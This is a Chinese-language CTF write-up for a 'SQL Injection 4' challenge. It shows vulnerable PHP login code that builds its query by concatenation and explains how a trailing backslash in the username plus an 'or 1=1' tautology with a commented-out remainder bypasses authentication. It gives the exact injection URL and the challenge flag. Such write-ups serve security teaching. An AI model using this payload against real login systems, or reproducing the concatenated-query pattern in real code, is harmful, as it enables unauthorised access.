欢迎扫码关注微信公众号
题目地址:
http://ctf.nuptzj.cn/challenges#sql%20injection%204 SQL Injection 4
Ctrl + U查看源代码:
<!--
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';
function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}
echo $flag;
-->
Invalid password!
注意上面clean function中的htmlentities()函数,它会把输入字符中的 ’ 或者 " 转变为html实体,这样一来就无法闭合源代码中的 ’ 了,还有就是,如果php的magic_quotes_gpc是开启状态的话,我们输入的转义符也会被去掉的,不过既然这道题目能做,说明我们是可以使用转义符 \ ,我们解这道题的关键就是使用转义符 \ 来让源代码中
'SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';'
$username后面的 ’ 失效,只要 这个 ’ 失效,就能闭合**name=**后面的 ’ ,要达到这一目的,我们只需要让username=admin \即可,让后使password的值为一个永真式(or 1=1)就可以得到这道题的flag
这样提交的数据,会导致源代码中的SQL语句变为:
SELECT * FROM users WHERE name='admin \' AND pass=' or 1=1
注入语句?username=admin \&password=or 1=1%23
%23是#的URL编码
falg:
flag:nctf{sql_injection_is_interesting}